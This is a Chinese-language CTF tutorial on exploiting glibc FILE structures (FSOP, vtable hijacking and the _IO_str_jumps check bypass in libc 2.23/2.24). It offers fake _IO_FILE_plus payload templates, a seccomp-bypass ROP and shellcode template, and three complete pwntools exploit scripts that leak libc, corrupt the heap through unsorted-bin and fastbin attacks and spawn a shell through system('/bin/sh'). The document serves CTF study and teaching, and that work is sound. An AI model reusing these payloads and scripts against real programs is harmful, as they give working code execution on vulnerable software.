IO_file相关结构
_IO_list_all 是一个 _IO_FILE_plus 结构体定义的一个指针,如下:
extern struct _IO_FILE_plus *_IO_list_all;
它存在在符号表内,所以pwntools是可以搜索到的,查看结构体_IO_FILE_plus内部:
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
是由_IO_FILE和_IO_jump_t组成的:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,64位程序下其偏移为0x60,链表头部用_IO_list_all指针表示。
_IO_list_all->stderr->stdout->stdin
构成链表。libc.so中找到stdin\stdout\stderr
等符号,这些符号是指向FILE结构的指针,真正结构的符号是
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_
64位IO_FILE_plus结构体中的偏移:
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
vtable是_IO_jump_t类型的指针,_IO_jump_t中保存了一些函数指针,在后面我们会看到在一系列标准IO函数中会调用这些函数指针,该类型在libc文件中的导出符号是_IO_file_jumps,_IO_jump_t
如下:
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
通常会将_IO_overflow_t,改为system或onegadget地址完成利用。
一些c函数对_IO_jump_t虚表里面函数的调用情况:
- printf/puts 最终会调用_IO_file_xsputn
- fclose 最终会调用_IO_FILE_FINISH
- fwrite最终会调用_IO_file_xsputn
- fread 最终会调用_IO_fiel_xsgetn
- scanf/gets最终会调用_IO_file_xsgetn
FSOP
FSOP 的核心思想就是劫持_IO_list_all
的值来伪造链表和其中的_IO_FILE
项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp
,这个函数会刷新_IO_list_all
链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable
中的_IO_overflow
。
利用模板:
64位64位的_IO_FILE_plus构造模板:
stream = "/bin/sh\x00"+p64(0x61)
stream += p64(0xDEADBEEF)+p64(IO_list_all-0x10)
stream +=p64(1)+p64(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0xc0,"\x00")
stream += p64(0) # mode<=0
stream += p64(0)
stream += p64(0)
stream += p64(vtable_addr)
32位的_IO_FILE_plus构造模板:
stream = "sh\x00\x00"+p32(0x31) # system_call_parameter and link to small_bin[4]
stream += ";$0\x00"+p32(IO_list_all-0x8) # Unsorted_bin attack
stream +=p32(1)+p32(2) # fp->_IO_write_ptr > fp->_IO_write_base
stream = stream.ljust(0x88,"\x00")
stream += p32(0) # mode<=0
stream += p32(0)
stream += p32(0)
stream += p32(vtable_addr) # vtable_addr --> system
64位下seccomp禁用execve系统调用的构造模板:
io_list_all = libc_base+libc.symbols['_IO_list_all']
setcontext = libc_base+libc.symbols['setcontext']
mprotect = libc_base+libc.symbols['mprotect']
Open = libc_base+libc.symbols['open']
Read = libc_base+libc.symbols['read']
Write = libc_base+libc.symbols['write']
pop_rdi_ret = 0x0000000000400d93
pop_rsi_ret = libc_base+0x00000000000202e8
pop_rdx_ret = libc_base+0x0000000000001b92
pop_rdi_rbp_ret = libc_base+0x0000000000020256
pop_three_ret = 0x0000000000400d8f
ret = 0x00000000004008d9
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.cat('flag'))
rop = flat(
p64(pop_rdi_ret),
p64(current_io_chunk&~0xfff),
p64(pop_rsi_ret),
p64(0x1000),
p64(pop_rdx_ret),
p64(7),
p64(mprotect),
)
rop += p64(current_io_chunk+0x30+len(rop)+8)+shellcode
fake_vtable = current_io_chunk+0xe0-0x18
payload = p64(0) + p64(0x61)
payload += p64(0xddaa) + p64(io_list_all-0x10)
payload += p64(2) + p64(3)
payload += rop
payload = payload.ljust(0xa0,'\x00')
payload += p64(current_io_chunk+0x30) #rsp
payload += p64(ret) # to rop
payload = payload.ljust(0xd8,'\x00')
payload += p64(fake_vtable)
payload += p64(setcontext+53) # 0xe0
libc2.23利用方式 修改vtable到可控内存
由于vtable不可写,我们通过伪造vtable指向我们可控的内存,并布置函数指针来实现,通常是修改_IO_2_1_stdout_
结构,因为printf时会用到该结构,且最终会调用到该结构vtable里面的_IO_file_xsputn
函数指针,一般程序里出现setbuf、setvbuf,在bss段会有他相应的指针,但通常情况下,可以泄露libc,找到_IO_2_1_stdout_
改函数指针我们可以填充为one_gadget或system函数地址,传参的话,多数vtable函数指针在被调用时,会将它的_IO_FILE_plus
地址当作第一个参数传递,所以我们可以将_IO_FILE_plus
的_flags成员填成“/bin/sh\x00
”,但这种方法通常也不好用,因为调用vtable函数指针之前会对_IO_FILE_plus
的结构进行检查,通常改“/bin/sh\x00
”之后会导致对_flags成员的检查不通过(亲测printf不行,但House of orange利用中出现的_IO_flush_all_lockp能检查通过)
libc2.24 添加check 利用io_str_jumps
libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable
:
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
vtable必须要满足 在 __stop___IO_vtables
和 __start___libc_IO_vtables
之间,而我们伪造的vtable通常不满足这个条件。
但是_IO_str_jumps
与__IO_wstr_jumps
就位于 __stop___libc_IO_vtables
和 __start___libc_IO_vtables
之间, 所以我们是可以利用他们来通过 IO_validate_vtable
的检测的,只需要将vtable填成_IO_str_jumps
或__IO_wstr_jumps
就行。
利用方式两种:
- 利用__IO_str_jumps中的_IO_str_finsh函数
- 利用__IO_str_jumps中的_IO_str_overflow函数
如何确定io_str_jumps地址?
由于 _IO_str_jumps
不是导出符号,libc.sym["_IO_str_jumps"]
查不到,我们可以利用 _IO_str_jumps
中的导出函数,例如 _IO_str_underflow
进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow
函数地址的内存地址,如下所示
pwndbg> p _IO_str_underflow
$1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow>
pwndbg> search -p 0x7f4d4cf04790
libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790
libc.so.6 0x7f4d4d224160 0x7f4d4cf04790
libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790
pwndbg> p &_IO_file_jumps
$2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps>
可以通过_IO_str_jumps
的地址大于 _IO_file_jumps
地址的条件,可以确定最后一个是符合_IO_str_jumps
的地址,_IO_str_underflow
在_IO_str_jumps
的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过):
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print possible_IO_str_jumps_offset
break
io_str_finish
void _IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & 1))
((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h]
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
条件:
fp->_IO_buf_base为真
fp->_flags & 1 为假 // fp->_flags=0
即:
1. fp->_mode = 0
2. fp->_IO_write_ptr > fp->_IO_write_base
3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size)
4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件)
vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish
5. fp->_flags= 0
6. fp->_IO_buf_base = binsh_addr
7. fp+0xe8 = system_addr
fp+E8
处填成system_addr ,还有 fp->_IO_buf_base
填上binsh_addr地址主要是利用__IO_str_jumps
地址错位的方法,通过_IO_str_jumps - 8
来调用_IO_str_finish
(通过别的函数偏移可能不一样)
io_str_overflow
io_str_overflow比io_str_finish复杂,主要是构造条件复杂:
__int64 __fastcall IO_str_overflow(_IO_FILE *fp, unsigned int a2)
{
int v2; // ecx
signed __int64 result; // rax
_QWORD *v4; // rdx
char *v5; // r12
unsigned __int64 v6; // r13
unsigned __int64 v7; // r14
__int64 v8; // rax
__int64 v9; // r15
_QWORD *v10; // rax
_QWORD *v11; // rax
v2 = fp->_flags;
if ( fp->_flags & 8 )
return (unsigned int)-(a2 != -1);
if ( (fp->_flags & 0xC00) == 0x400 )
{
v4 = fp->_IO_read_ptr;
v11 = fp->_IO_read_end;
BYTE1(v2) |= 8u;
LODWORD(fp->_flags) = v2;
fp->_IO_write_ptr = v4;
fp->_IO_read_ptr = v11;
}
else
{
v4 = fp->_IO_write_ptr;
}
v6 = (char *)fp->_IO_buf_end - (char *)fp->_IO_buf_base
if ( (char *)v4 - (char *)fp->_IO_write_base >= v6 + (a2 == -1) )
{
if ( v2 & 1 )
return 0xFFFFFFFFLL;
v7 = 2 * v6 + 100;
if ( v6 > v7 )
return 0xFFFFFFFFLL;
v8 = ((__int64 (__fastcall *)(unsigned __int64)) fp + 0xE0)(2 * v6 + 100); // call
v9 = v8;
.........
}
.......
.......
}
fp->_flags & 8
得为0,(fp->_flags & 0xC00) == 0x400
得为0 , fp->_flags & 1
得为0, 所以我这里就将fp->_flags设置为0 ; 并设置fp->_IO_write_ptr - fp->_IO_write_base > fp->_IO_buf_end - fp->_IO_buf_base
这样我们才能够绕过检查,来到函数调用(fp + 0xE0)(2 * v6 + 100)
也就是 (fp + 0xE0)(2 * (fp->_IO_buf_end - fp->_IO_buf_base) + 100)
我们可以将 fp + 0x E0
设置成 system函数地址 ,fp->_IO_buf_base
设置成0,fp->_IO_buf_end
设置成 (binsh_addr-100)/2
这样就设置了system参数,fp->_IO_write_ptr
设置成一个很大的正值
这里有个坑,就是(binsh_addr-100)/2
, 当/bin/sh地址存在于libc中,它/2再*2 若是除不尽有余数的话 会影响最后的参数地址,我们为了避免这种情况我们尽量在堆内存中填入"/bin/sh\x00", 因为堆内存往往都是2的倍数对齐。
条件:
fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) / 2#如果bin/sh地址以奇数结尾可以+1以避免向下取整
fp->_IO_write_ptr = (bin_sh_addr - 100) / 2
fp->_IO_write_base = 0
fp->_mode = -1
fp+0xe0 = system
利用链;
close -> finish -> _IO_str_overflow ->(char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
libc2.27 利用方式
先pass
IO FILE涉及到gdb命令
看例子之前,先总结一些关于IO_FILE查看结构体的gdb命令:
p _IO_list_all 查看_IO_list_all 地址
p _IO_list_all->file._chain 查看_IO_list_all的下一个file结构体地址
p _IO_list_all->file._chain->_chain 同上
p *(struct _IO_FILE_plus *)0x558df5c9c060 0x558df5c9c060为fake io file地址,查看 _IO_FILE_plus结构体
p *(struct _IO_jump_t *)0x55b5cefb2140 查看_IO_jump_t 结构体
p _IO_str_jumps 查看_IO_str_jumps
p _IO_file_jumps 查看_IO_file_jumps
parseheap 查看堆的使用情况
heapinfo 查看堆结构
例子:
2018suctf note(libc2.24,libc2.23)
保护全开
add添加函数:
printf("Size:");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 > 0 && v1 <= 4096 )
{
(&ptr)[i] = (char *)malloc(v1);
printf("Content:");
__isoc99_scanf("%s", (&ptr)[i]);<-----------
getchar();
printf("ok!Index:%d\n", (unsigned int)i);
}
else
box函数:
if ( v1 == 1 )
{
if ( dword_202078 == 1 )
{
puts(ptr);
puts(qword_2020C8);
free(ptr);
free(qword_2020C8);
dword_202078 = 0;
}
程序存在堆溢出漏洞,且存在uaf,还是利用溢出构造fake io file plus结构,通过释放unsorted bin得到libc基址。io_file利用方式主要是:
- 通过修改vtable指向可控内存–>fake io_file_jump,覆盖io_overflow=system,此需要泄露heap地址,且只支持libc2.24以下。
- 通过修改vtable为io_str_jumps,伪造io_str_overflow或io_str_finish为system,如上述方法,此处只需要泄露libc,适合libc2.24以上。
具体请看这里,这里
exp:
from pwn import *
#SUCTF{Me1z1jiu_say_s0rry_LOL}
context.log_level='debug'
debug=1
context.terminal = ['terminator','-x','sh','-c']
if debug:
p = process('./note')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
else :
libc = ELF('./libc6_2.24-12ubuntu1_amd64.so')
#p = remote('pwn.suctf.asuri.org',20003)
p.recvuntil('Welcome Homura Note Book! ')
def add(size,content):
p.recvuntil('Choice>>')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Content:')
p.sendline(content)
def show(index):
p.recvuntil('Choice>>')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
def dele():
p.recvuntil('Choice>>')
p.sendline('3')
p.recvuntil('(yes:1)')
p.sendline('1')
#gdb.attach(p)
add(16,'1'*16)#2
#gdb.attach(p)
#leak system address
dele()
show(0)
p.recvuntil('Content:')
libc_addr = u64(p.recv(6)+'\x00\x00')
libc_base = libc_addr - 0x3c4b78# - libc.symbols['__malloc_hook']
print 'libc_base',hex(libc_base)
sys_addr = libc_base+libc.symbols['system']
malloc_hook = libc_base+libc.symbols['__malloc_hook']
log.info('malloc_hook:%#x' %malloc_hook)
io_list_all = libc_base+libc.symbols['_IO_list_all']
log.info('io_list_all:%#x' %io_list_all)
binsh_addr = libc_base+next(libc.search('/bin/sh'))
log.info('binsh_addr:%#x' %binsh_addr)
log.info('sys_addr:%#x' %sys_addr)
#fake chunk
fake_chunk = p64(0)+p64(0x61) #header
fake_chunk += p64(0xddaa)+p64(io_list_all-0x10)
fake_chunk += p64(0x2)+p64(0xffffffffffffff) + p64(0)+p64(binsh_addr) +p64(0)
fake_chunk = fake_chunk.ljust(0xa0,'\x00')
fake_chunk += p64(0)
fake_chunk = fake_chunk.ljust(0xc0,'\x00')
fake_chunk += p64(0)
vtable_addr = malloc_hook-0x1370#+libc.symbols['_IO_str_jumps']
print 'vtable_addr:',hex(vtable_addr)
payload = 'a'*16 +fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr-8)
payload += p64(0)
payload += p64(sys_addr)
add(16,payload)#3
#gdb.attach(p)
p.recvuntil('Choice>>')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(0x200))
#gdb.attach(p)
pause()
p.interactive()
clear_note
保护全开
add函数;
{
int result; // eax
int i; // [rsp+8h] [rbp-8h]
for ( i = 0; i <= 1 && info[i]; ++i )<------------------
;
if ( i == 2 )
return puts("full");
printf("size: ");
result = sub_AB2();
if ( result >= 0 && result <= 256 )
{
info[i] = malloc(result);
printf("info: ");
_isoc99_scanf("%s", info[i]);<-------------------
result = getchar();
}
return result;
存在堆溢出,且存在uaf,可以通过uaf泄露libc,但是程序只能申请两个note,通过合理设置构造unsorted bin通过堆溢出构造io_file_plus结构,通过unsorted bin触发FSOP,原理和suctf2018 note相似。
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p = process('./clear_note')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['terminator','-x','sh','-c']
def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)
def addnote(size,content):
p.sendlineafter("choice>>",'1')
p.sendlineafter("size:",str(size))
p.sendlineafter("info:",content)
def shownote(idx):
p.sendlineafter("choice>>",'2')
p.sendlineafter("index:",str(idx))
info = hex(u64(p.recvuntil("\x7f")[-6: ].ljust(8, '\0')))
return info
def deletenote(idx):
p.sendlineafter("choice>>",'3')
p.sendlineafter("index:",str(idx))
##### leak libc
addnote(0x88, "aaa\n")
addnote(0x88, "aaa\n")
deletenote(0)
#dbg()
main_area = shownote(0)
print "main_area:",main_area
libcbase = int(main_area,16)-0x3c4b78
print "libcbase",hex(libcbase)
system = libcbase + libc.symbols['system']
_IO_list_all = libcbase + libc.symbols['_IO_list_all']
print "system = " + hex(system)
print "_IO_list_all = " + hex(_IO_list_all)
malloc_hook = libcbase+libc.symbols['__malloc_hook']
log.info('malloc_hook:%#x' %malloc_hook)
vtable_addr = malloc_hook-0x1370
binsh_addr = libcbase+next(libc.search('/bin/sh'))
log.success('binsh: '+hex(binsh_addr))
deletenote(0)
addnote(0x100, "0\n") #top chrunk分配
deletenote(1)
deletenote(1) #0x120 free
payload = 'a'*0xb0 #padding
#### fake_chunk--->fake io_File_Plus
fake_chunk = p64(0)+p64(0x61) #header _flags = 0,_IO_read_ptr = 0x61, #smallbin4file_size
fake_chunk += p64(0xddaa)+p64(_IO_list_all-0x10)#unsorted bin attack
fake_chunk += p64(0x2) #_IO_write_base
fake_chunk +=p64(0xffffffffffffff) #_IO_write_ptr 满足_IO_write_ptr>_IO_write_base
fake_chunk +=p64(0)
fake_chunk +=p64(binsh_addr) #_IO_buf_base = binsh_addr
fake_chunk +=p64(0)
fake_chunk = fake_chunk.ljust(0xa0,'\x00')
fake_chunk += p64(0)
fake_chunk = fake_chunk.ljust(0xc0,'\x00')
fake_chunk += p64(0) #mode = 0
payload += fake_chunk
payload += p64(0)
payload += p64(0)
payload += p64(vtable_addr-8)# io_str_jumps-8
payload += p64(0) #padding
payload += p64(system)# fp+0xe8 overflower = io_str_finish
#dbg()
addnote(0xb0,payload) # 0xc1 0x68 0x110 top chrunk
#dbg()
deletenote(0)
dbg()
addnote(0x10,'dddd')
#dbg()
p.interactive()
fast–going
保护全开
add函数,限制bin大小,并没有堆溢出:
result = sub_BA3();
v1 = result;
if ( result != -1 )
{
sub_A70("size: ");
result = sub_B4A();
nbytes = result;
if ( result >= 0 && result <= 80 )<-------------限制bin大小0-80属于fastbin
{
qword_202060[v1] = malloc(result);
sub_A70("info: ");
result = read(0, (void *)qword_202060[v1], nbytes);
}
}
存在uaf:
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
v0 = sub_BA3();
if ( v0 != -1 )
free((void *)qword_202060[v0]);
}
所以只能利用fastbin泄露heap地址,fastbin attack构造unsorted bin泄露libc,堆块中布置fake_IO_list_all的数据,并改写unsortbin的bk指针,然后通过unsortedbin attacked 拿到shell。
思路:
由于程序限制了bin的大小,且只能申请四个bin,所以通过巧妙构造实现。
- 申请两个fastbin,chunk0、chunk1依次释放,fastbin通过fd链入fastbin链表,再次申请chunk1泄露heap基址(申请的内容最多覆盖低地址一字节)
- 申请chunk0(铺垫fake chunk的头部)、chunk2、chunk3
- 通过fastbin attack ,依次释放chunk0、chunk1、chunk0,申请chunk0并修改chunk0的fd为任意地址(fake chunk),再次申请chunk1、chunk0、fake chunk,从而实现任意地址写。
- 通过fake chunk可以覆盖chunk1的size为非fastbin,释放chunk1,从而泄露libc
- 此时unsorted bin chunk有了,然后通过同样的fastbin方法构造fake_IO_list_all的数据,最后通过unsorted bin来拿到shell
- 构造fake_IO_list_all数据记得关键的check条件要设置好,可多次利用fastbin attack来实现。
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
arch = '64'
version = '2.23'
context.log_level='debug'
p = process('./fast_going')
#p = remote("10.104.7.52",9999)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64')
context.terminal = ['terminator','-x','sh','-c']
def get_one():
if(arch == '64'):
if(version == '2.23'):
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
if (version == '2.27'):
#one = [0x4f2c5 , 0x4f322 , 0x10a38c]
one = [0x4f365 , 0x4f3c2 , 0x10a45c]
return one
def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\nc\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)
def addnote(index,size,content=''):
p.sendlineafter("choice:",'1')
p.sendlineafter("index:",str(index))
p.sendlineafter("size:",str(size))
#if size<0x5000:
p.recvuntil("info:")
p.send(content)
def shownote(idx):
p.sendlineafter("choice:",'2')
p.sendlineafter("index:",str(idx))
info = hex(u64(p.recvuntil("\x31")[-7: -1].ljust(8, '\0')))
return info
def deletenote(idx):
p.sendlineafter("choice:",'3')
p.sendlineafter("index:",str(idx))
one = get_one()
#### 铺垫fastbin,泄露heap
addnote( 0, 0x50, "0")
addnote(1, 0x50, "1")
deletenote( 0)
deletenote( 1)
addnote( 1, 0x50, "2")
heap_addr=int(shownote(1),16)-0x32#0x32为堆的偏移
print "heap_addr",hex(heap_addr)
payload = ""
payload += 'a'*0x30
payload += p64(0)
payload += p64(0x61) #铺垫好fake chunk的size,为fastbin attack向此处写做准备
addnote(0,0x50,payload)
addnote(2,0x50,'2') # 扩展堆,达到io file结构的大小
addnote(3,0x50,p64(0))
deletenote( 0)
deletenote( 1)
deletenote( 0)
addnote(0,0x50,p64(heap_addr+0x40)) #覆盖chunk0 fd为任意地址(heap_addr+0x40)
addnote(0,0x50,'a')
addnote(0,0x50,'a')
addnote(0,0x50,"a"*0x10+p64(0)+p64(0xc1))#申请到heap_addr+0x40,覆盖chunk1的大小为0xc1,为泄露libc做准备
#deletenote(0)
#dbg()
deletenote(1) # 释放chunk1,0xc1会被释放到unsorted bin,fd bk 指向main_area 泄露libc
#dbg()
p.sendlineafter("choice:",'2')
p.sendlineafter("index:",'1')
libc_base = u64(p.recvuntil("\x7f")[-6: ].ljust(8, '\0'))-0x3c4b78 #main_area到libc基地址偏移
print 'lib_base:',hex(libc_base)
IO_list_all = libc_base + libc.symbols['_IO_list_all']
print 'IO_list_all',hex(IO_list_all)
binsh_addr = libc_base+next(libc.search('/bin/sh'))
log.info('binsh_addr:%#x' %binsh_addr)
sys_addr = libc_base+libc.symbols['system']
log.info('sys_addr:%#x' %sys_addr)
malloc_hook = libc_base+libc.symbols['__malloc_hook']
log.info('malloc_hook:%#x' %malloc_hook)
vtable_addr = malloc_hook-0x1370
print 'vtable_addr:',hex(vtable_addr)
#######同样的fastbin attack 实现填充fake io file结构
dbg()
deletenote( 2)
deletenote( 3)
deletenote( 2)
addnote(2,0x50,p64(heap_addr+0x40))
addnote(3,0x50,p64(0)+p64(vtable_addr-8)+p64(0)+p64(sys_addr))# 构造vtable,fp+0xe8=system
addnote(2,0x50,p64(0)*10)
#dbg()
# 构造检查条件flag=0,chunk1 size=0x61(small bin),chunk1 bk=IO_list_all-0x10,io_write_ptr>io_write_base,io_buf_base=binsh
addnote(0,0x50,p64(0)*3+p64(0x61)+p64(0)+p64(IO_list_all-0x10)+p64(0x2)+p64(0xffffffffffffff) + p64(0)+p64(binsh_addr))
######由于构造后mode=0xc0(chunk3的pre_size),过不了check,再次将mode覆盖成0
#dbg()
deletenote( 2)
deletenote( 3)
deletenote( 2)
addnote(2,0x50,p64(heap_addr+0xf0)+p64(0)*4+p64(0x61))# heap_addr+0xf0为选择的合适的fake chunk
addnote(3,0x50,p64(0)+p64(vtable_addr-8)+p64(0)+p64(sys_addr))
#
addnote(2,0x50,p64(0))
addnote(1,0x50,p64(0)*6)#覆盖chunk3 pre_size = 0 即mode = 0
#dbg()
addnote(2,0x10,'ddddd') #malloc触发FSOP
#dbg()
p.interactive()
不可预期
io_str_overflows、io_str_finish该攻击有一定概率失败,主要原因是因为第一次将_IO_list_all劫持到main_arena时,由于main_arena不可控,该内存随机
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
&& _IO_OVERFLOW (fp, EOF) == EOF
的符号&&为短路与,所以有时该check流程,假如((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
判断为真,或者是 _IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
判断为真,那他们相或结果为真,就会造成执行 _IO_OVERFLOW (fp, EOF) == EOF
调用未知Vtable错误地址,程序Abort,所以程序有一定概率失败。
如果那两个判断都为假,那他们相或结果为假,根据&&的短路与,就不会执行右边的_IO_OVERFLOW (fp, EOF) == EOF)
,直接通过fp = fp->_chain
寻找新的_IO_file结构来执行_IO_OVERFLOW
参考文章
- https://xz.aliyun.com/t/5579#toc-3
- https://xz.aliyun.com/t/2411
- https://b0ldfrev.gitbook.io/note/pwn/iofile-li-yong-si-lu-zong-jie
- https://nightrainy.github.io/2019/08/03/IO-FILE%E7%BB%93%E6%9E%84%E4%BD%93%E5%88%A9%E7%94%A8/
- https://www.anquanke.com/post/id/168802#h3-6
- https://xz.aliyun.com/t/5508#toc-4
- https://www.anquanke.com/post/id/87194
- https://www.anquanke.com/post/id/164558#h2-4